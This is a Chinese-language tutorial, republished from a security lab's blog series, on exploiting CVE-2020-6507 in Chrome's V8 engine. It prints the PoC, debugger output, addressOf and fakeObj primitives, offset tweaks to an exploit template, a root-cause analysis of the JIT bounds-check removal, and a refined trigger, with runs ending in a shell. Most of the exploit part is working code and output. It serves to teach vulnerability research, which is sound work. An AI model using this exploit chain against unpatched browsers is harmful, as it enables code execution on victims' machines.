从 0 开始学 V8 漏洞利用之 CVE-2020-6507(四)
2022-2-4 10:0:0 Author: paper.seebug.org(查看原文) 阅读量:67 收藏

作者:[email protected]知道创宇404实验室

相关阅读: 从 0 开始学 V8 漏洞利用之环境搭建(一)
从 0 开始学 V8 漏洞利用之 V8 通用利用链(二)
从 0 开始学 V8 漏洞利用之 starctf 2019 OOB(三)

复现CVE-2020-6507

在复习漏洞前,我们首先需要有一个信息收集的阶段:

  1. 可以从Chrome的官方更新公告得知某个版本的Chrome存在哪些漏洞。
  2. 从官方更新公告上可以得到漏洞的bug号,从而在官方的issue列表获取该bug相关信息,太新的可能会处于未公开状态。
  3. 可以在Google搜索Chrome 版本号 "dl.google.com",比如chrome 90.0.4430.93 "dl.google.com",可以搜到一些网站有Chrome更新的新闻,在这些新闻中能获取该版本Chrome官方离线安装包。下载Chrome一定要从dl.google.com网站上下载。

我第二个研究的是CVE-2020-6507,可以从官方公告得知其chrome的bug编号为:1086890

可以很容易找到其相关信息:

受影响的Chrome最高版本为:83.0.4103.97 受影响的V8最高版本为:8.3.110.9

相关PoC:

array = Array(0x40000).fill(1.1);
args = Array(0x100 - 1).fill(array);
args.push(Array(0x40000 - 4).fill(2.2));
giant_array = Array.prototype.concat.apply([], args);
giant_array.splice(giant_array.length, 0, 3.3, 3.3, 3.3);

length_as_double =
    new Float64Array(new BigUint64Array([0x2424242400000000n]).buffer)[0];

function trigger(array) {
  var x = array.length;
  x -= 67108861;
  x = Math.max(x, 0);
  x *= 6;
  x -= 5;
  x = Math.max(x, 0);

  let corrupting_array = [0.1, 0.1];
  let corrupted_array = [0.1];

  corrupting_array[x] = length_as_double;
  return [corrupting_array, corrupted_array];
}

for (let i = 0; i < 30000; ++i) {
  trigger(giant_array);
}

corrupted_array = trigger(giant_array)[1];
alert('corrupted array length: ' + corrupted_array.length.toString(16));
corrupted_array[0x123456];

一键编译相关环境:

$ ./build.sh 8.3.110.9

暂时先不用管漏洞成因,漏洞原理啥的,我们先借助PoC,来把我们的exp写出来。

研究PoC

运行一下PoC:

$ cat poc.js
......
corrupted_array = trigger(giant_array)[1];
console.log('corrupted array length: ' + corrupted_array.length.toString(16));
# 最后一行删了,alert改成console.log
$ ./d8 poc.js
corrupted array length: 12121212

可以发现,改PoC的作用是把corrupted_array数组的长度改为0x24242424/2 = 0x12121212,那么后续如果我们的obj_arraydouble_array在这个长度的内存区域内,那么就可以写addressOffakeObj函数了。

来进行一波测试:

$ cat test.js
......
corrupted_array = trigger(giant_array)[1];
var double_array = [1.1];
var obj = {"a" : 1};
var obj_array = [obj];

%DebugPrint(corrupted_array);
%SystemBreak();
DebugPrint: 0x9ce0878c139: [JSArray]
 - map: 0x09ce08241891 <Map(PACKED_DOUBLE_ELEMENTS)> [FastProperties]
 - prototype: 0x09ce082091e1 <JSArray[0]>

Thread 1 "d8" received signal SIGSEGV, Segmentation fault.
......
pwndbg> x/32gx 0x9ce0878c139-1
0x9ce0878c138:  0x080406e908241891 0x2424242400000000
0x9ce0878c148:  0x00000004080404b1 0x0878c1390878c119
0x9ce0878c158:  0x080406e9082418e1 0x000000040878c149

调试的时候,发现程序crash了,不过我们仍然可以查看内存,发现该版本的v8,已经对地址进行了压缩,我们虽然把length位改成了0x24242424,但是我们却也把elements位改成了0x00000000。在这个步骤的时候,我们没有泄漏过任何地址,有没有其他没办法构造一个elements呢。

最后发现堆地址是从低32bit地址为0x00000000开始的,后续变量可能会根据环境的问题有所变动,那么前面的值是不是低32bit地址不会变呢?

改了改测试代码,如下所示:

$ cat test.js
var double_array = [1.1];
var obj = {"a" : 1};
var obj_array = [obj];

var f64 = new Float64Array(1);
var bigUint64 = new BigUint64Array(f64.buffer);

function ftoi(f)
{
  f64[0] = f;
    return bigUint64[0];
}
function itof(i)
{
    bigUint64[0] = i;
    return f64[0];
}

array = Array(0x40000).fill(1.1);
......
corrupted_array = trigger(giant_array)[1];
%DebugPrint(double_array);
var a = corrupted_array[0];
console.log("a = 0x" + ftoi(a).toString(16));

结果为:

$ ./d8 --allow-natives-syntax test.js
DebugPrint: 0x288c089017d5: [JSArray] in OldSpace
 - map: 0x288c08241891 <Map(PACKED_DOUBLE_ELEMENTS)> [FastProperties]
 - prototype: 0x288c082091e1 <JSArray[0]>
 - elements: 0x288c089046ed <FixedDoubleArray[1]> [PACKED_DOUBLE_ELEMENTS]
 - length: 1
 - properties: 0x288c080406e9 <FixedArray[0]> {
    #length: 0x288c08180165 <AccessorInfo> (const accessor descriptor)
 }
 - elements: 0x288c089046ed <FixedDoubleArray[1]> {
           0: 1.1
 }
0x288c08241891: [Map]
 - type: JS_ARRAY_TYPE
 - instance size: 16
 - inobject properties: 0
 - elements kind: PACKED_DOUBLE_ELEMENTS
 - unused property fields: 0
 - enum length: invalid
 - back pointer: 0x288c08241869 <Map(HOLEY_SMI_ELEMENTS)>
 - prototype_validity cell: 0x288c08180451 <Cell value= 1>
 - instance descriptors #1: 0x288c08209869 <DescriptorArray[1]>
 - transitions #1: 0x288c082098b5 <TransitionArray[4]>Transition array #1:
     0x288c08042eb9 <Symbol: (elements_transition_symbol)>: (transition to HOLEY_DOUBLE_ELEMENTS) -> 0x288c082418b9 <Map(HOLEY_DOUBLE_ELEMENTS)>

 - prototype: 0x288c082091e1 <JSArray[0]>
 - constructor: 0x288c082090b5 <JSFunction Array (sfi = 0x288c08188e45)>
 - dependent code: 0x288c080401ed <Other heap object (WEAK_FIXED_ARRAY_TYPE)>
 - construction counter: 0

a = 0x80406e908241891

成功泄漏出double_array变量的map地址,再改改测试代码:

$ cat test.js
......
length_as_double =
    new Float64Array(new BigUint64Array([0x2424242408901c75n]).buffer)[0];
......
%DebugPrint(double_array);
%DebugPrint(obj_array);
var array_map = corrupted_array[0];
var obj_map = corrupted_array[4];
console.log("array_map = 0x" + ftoi(array_map).toString(16));
console.log("obj_map = 0x" + ftoi(obj_map).toString(16));

再来看看结果:

$ ./d8 --allow-natives-syntax test.js
DebugPrint: 0x34f108901c7d: [JSArray] in OldSpace
 - map: 0x34f108241891 <Map(PACKED_DOUBLE_ELEMENTS)> [FastProperties]
 - prototype: 0x34f1082091e1 <JSArray[0]>
 - elements: 0x34f108904b95 <FixedDoubleArray[1]> [PACKED_DOUBLE_ELEMENTS]
 - length: 1
 - properties: 0x34f1080406e9 <FixedArray[0]> {
    #length: 0x34f108180165 <AccessorInfo> (const accessor descriptor)
 }
 - elements: 0x34f108904b95 <FixedDoubleArray[1]> {
           0: 1.1
 }
......
DebugPrint: 0x34f108901c9d: [JSArray] in OldSpace
 - map: 0x34f1082418e1 <Map(PACKED_ELEMENTS)> [FastProperties]
 - prototype: 0x34f1082091e1 <JSArray[0]>
 - elements: 0x34f108904b89 <FixedArray[1]> [PACKED_ELEMENTS]
 - length: 1
 - properties: 0x34f1080406e9 <FixedArray[0]> {
    #length: 0x34f108180165 <AccessorInfo> (const accessor descriptor)
 }
 - elements: 0x34f108904b89 <FixedArray[1]> {
           0: 0x34f108901c8d <Object map = 0x34f108244e79>
 }
......
array_map = 0x80406e908241891
obj_map = 0x80406e9082418e1

成功泄漏了map地址,不过该方法的缺点是,只要修改了js代码,堆布局就会发生一些变化,就需要修改elements的值,所以需要先把所有代码写好,不准备变的时候,再来修改一下这个值。

不过也还有一些方法,比如堆喷,比如把elements值设置的稍微小一点,然后在根据map的低20bit为0x891,来搜索map地址,不过这些方法本文不再深入研究,有兴趣的可以自行进行测试。

编写addressOf函数

现在我们能来编写addressOf函数了:

function addressOf(obj_to_leak)
{
    obj_array[0] = obj_to_leak;
    corrupted_array[4] = array_map; // 把obj数组的map地址改为浮点型数组的map地址
    let obj_addr = ftoi(obj_array[0]) - 1n;
    corrupted_array[4] = obj_map; // 把obj数组的map地址改回来,以便后续使用
    return obj_addr;
}

编写fakeObj函数

接下来就是编写fakeObj函数:

function fakeObj(addr_to_fake)
{
    double_array[0] = itof(addr_to_fake + 1n);
    corrupted_array[0] = obj_map;  // 把浮点型数组的map地址改为对象数组的map地址
    let faked_obj = double_array[0];
    corrupted_array[0] = array_map; // 改回来,以便后续需要的时候使用
    return faked_obj;
}

修改偏移

改版本中,需要修改的偏移有:

$ cat exp1.js
function copy_shellcode_to_rwx(shellcode, rwx_addr)
{
......
var buf_backing_store_addr_lo = addressOf(data_buf) + 0x10n;
......
}
......
fake_object_addr = fake_array_addr + 0x48n;
......

其他都模板中一样,最后运行exp1:

$ ./d8 --allow-natives-syntax exp1.js
array_map = 0x80406e908241891
obj_map = 0x80406e9082418e1
[*] leak fake_array addr: 0x8040a3d5962db08
[*] leak wasm_instance addr: 0x8040a3d082116bc
[*] leak rwx_page_addr: 0x28fd83851000
[*] buf_backing_store_addr: 0x9c0027c000000000
$ id
uid=1000(ubuntu) gid=1000(ubuntu)

前面内容通过套模板的方式,写出了exp1,但是却有些许不足,因为elements的值是根据我们本地环境测试出来的,即使在测试环境中,代码稍微变动,就需要修改,如果只是用来打CTF,我觉得这样就足够了。但是如果拿去实际的环境打,exp大概需要进行许多修改。

接下来,我将准备讲讲该漏洞原理,在理解其原理后,再来继续优化我们的exp。那为啥之前花这么长时间讲这个不太实用的exp?而不直接讲优化后的exp?因为我想表明,在只有PoC的情况下,也可以通过套模板,写出exp。

漏洞成因

漏洞成因这块我不打算花太多时间讲,因为我发现,V8更新的太快了,你花大量时间来分析这个版本的代码,分析这个漏洞的相关代码,但是换一个版本,会发现代码发生了改变,之前分析的已经过时了。所以我觉得起码在初学阶段,没必要深挖到最底层。

bugs.chromium.org上已经很清楚了解释了该漏洞了。

NewFixedArrayNewFixedDoubleArray没有对数组的大小进行判断,来看看NewFixedDoubleArray修复后的代码,多了一个判断:

macro NewFixedDoubleArray<Iterator: type>(
......
  if (length > kFixedDoubleArrayMaxLength) deferred {
      runtime::FatalProcessOutOfMemoryInvalidArrayLength(kNoContext);
    }
......

再去搜一搜源码,发现kFixedDoubleArrayMaxLength = 671088612,说明一个浮点型的数组,最大长度为67108862

我们再来看看PoC:

array = Array(0x40000).fill(1.1);
args = Array(0x100 - 1).fill(array);
args.push(Array(0x40000 - 4).fill(2.2));
giant_array = Array.prototype.concat.apply([], args);
giant_array.splice(giant_array.length, 0, 3.3, 3.3, 3.3);

我们来算算,array的长度为0x40000args的为0xffarray,然后args还push了一个长度为0x3fffc的数组。

通过Array.prototype.concat.apply函数,把args变量变成了长度为0x40000 * 0xff + 0x3fffc = 67108860的变量giant_array

接着再使用splice添加了3个值,该函数将会执行NewFixedDoubleArray函数,从而生成了一个长度为67108860+3=67108863的浮点型数组。

该长度已经超过了kFixedDoubleArrayMaxLength的值,那么改漏洞要怎么利用呢?

来看看trigger函数:

function trigger(array) {
  var x = array.length;
  x -= 67108861;
  x = Math.max(x, 0);
  x *= 6;
  x -= 5;
  x = Math.max(x, 0);

  let corrupting_array = [0.1, 0.1];
  let corrupted_array = [0.1];

  corrupting_array[x] = length_as_double;
  return [corrupting_array, corrupted_array];
}

for (let i = 0; i < 30000; ++i) {
  trigger(giant_array);  // 触发JIT优化
}

该函数传入的为giant_array数组,其长度为67108863,所以x = 67108863,经过计算后,得到x = 7,然后执行corrupting_array[x] = length_as_double;corrupting_array原本以数组的形式储存浮点型,长度为2,但是给其index=7的位置赋值,将会把该变量的储存类型变为映射模式。

这么一看,好像并没有什么问题。但是V8有一个特性,会对执行的比较多的代码进行JIT优化,会删除一些冗余代码,加速代码的执行速度。

比如对trigger函数进行优化,V8会认为x的最大长度为67108862,那么x最后的计算结果最大值为1,那么x最后的值不是0就是1,corrupting_array的长度为2,不论对其0还是1赋值都是有效的。原本代码在执行corrupting_array[x]执行的时候,会根据x的值对corrupting_array边界进行检查,但是通过上述的分析,JIT认为这种边界检查是没有必要的,就把检查的代码给删除了。这样就直接对corrupting_array[x]进行赋值,而实际的x值为7,这就造成了越界读写,而index=7这个位置,正好是corrupted_array变量的elementslength位,所以PoC达到了之前分析的那种效果。

知道原理了,那么我们就能对该函数进行一波优化了,我最后的优化代码如下:

length_as_double =
    new Float64Array(new BigUint64Array([0x2424242422222222n]).buffer)[0];
function trigger(array) {
  var x = array.length;
  x -= 67108861; // 1 2
  x *= 10; // 10 20
  x -= 9; // 1 11
  let test1 = [0.1, 0.1];
  let test2 = [test1];
  let test3 = [0.1];
  test1[x] = length_as_double; // fake length
  return [test1, test2, test3];
}

x最后的值为11,修改到了test3的长度,但是并不会修改到elements的值,因为中间有个test2,导致产生了4字节的偏移,所以我们可以让我们只修改test3的长度而不影响到elements

根据上述思路,我们对PoC进行一波修改:

function trigger(array, oob) {
  var x = array.length;
  x -= 67108861; // 1 2
  x *= 10; // 10 20
  x -= 9; // 1 11
  oob[x] = length_as_double; // fake length
}

for (let i = 0; i < 30000; ++i) {
  vul = [1.1, 2.1];
  pad = [vul];
  double_array = [3.1];
  obj = {"a": 2.1};
  obj_array = [obj];
  trigger(giant_array, vul);
}
%DebugPrint(double_array);
%DebugPrint(obj_array);
//%SystemBreak();
var array_map = double_array[1];
var obj_map = double_array[8];
console.log("[*] array_map = 0x" + hex(ftoi(array_map)));
console.log("[*] obj_map = 0x" + hex(ftoi(obj_map)));

接下来只要在exp1的基础上对addressOffakeObj进行一波微调,就能形成我们的exp2了:

$ cat exp2.js
function addressOf(obj_to_leak)
{
    obj_array[0] = obj_to_leak;
    double_array[8] = array_map; // 把obj数组的map地址改为浮点型数组的map地址
    let obj_addr = ftoi(obj_array[0]) - 1n;
    double_array[8] = obj_map; // 把obj数组的map地址改回来,以便后续使用
    return obj_addr;
}

function fakeObj(addr_to_fake)
{
    double_array[0] = itof(addr_to_fake + 1n);
    double_array[1] = obj_map;  // 把浮点型数组的map地址改为对象数组的map地址
    let faked_obj = double_array[0];
    return faked_obj;
}
$ ./d8  exp2.js
[*] array_map = 0x80406e908241891
[*] obj_map = 0x80406e9082418e1
[*] leak fake_array addr: 0x8241891591b0d88
[*] leak wasm_instance addr: 0x8241891082116f0
[*] leak rwx_page_addr: 0x3256ebaef000
[*] buf_backing_store_addr: 0x7d47f2d000000000
$ id
uid=1000(ubuntu) gid=1000(ubuntu)
  1. https://chromereleases.googleblog.com/
  2. https://bugs.chromium.org/p/chromium/issues/list
  3. https://bugs.chromium.org/p/chromium/issues/detail?id=1086890

Paper 本文由 Seebug Paper 发布,如需转载请注明来源。本文地址:https://paper.seebug.org/1823/


文章来源: https://paper.seebug.org/1823/
如有侵权请联系:admin#unsafe.sh